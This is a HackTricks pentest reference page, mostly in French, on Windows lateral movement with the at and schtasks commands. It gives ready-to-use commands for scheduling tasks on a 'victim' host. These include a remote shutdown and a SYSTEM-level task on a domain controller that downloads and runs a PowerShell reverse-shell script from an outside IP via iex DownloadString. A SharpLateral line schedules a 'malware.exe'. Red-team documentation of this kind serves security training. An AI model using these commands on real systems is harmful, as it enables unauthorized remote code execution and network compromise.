3.5 KiB
AtExec / SchtasksExec
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Comment ça fonctionne
At permet de planifier des tâches sur des hôtes où vous connaissez le nom d'utilisateur/(mot de passe/Hash). Ainsi, vous pouvez l'utiliser pour exécuter des commandes sur d'autres hôtes et obtenir la sortie.
At \\victim 11:00:00PM shutdown -r
Utiliser schtasks nécessite d'abord de créer la tâche puis de l'appeler :
{% code overflow="wrap" %}
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
{% endcode %}
{% code overflow="wrap" %}
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
{% endcode %}
Vous pouvez également utiliser SharpLateral:
{% code overflow="wrap" %}
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
{% endcode %}
Plus d'informations sur l'utilisation de schtasks avec des tickets argent ici.
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.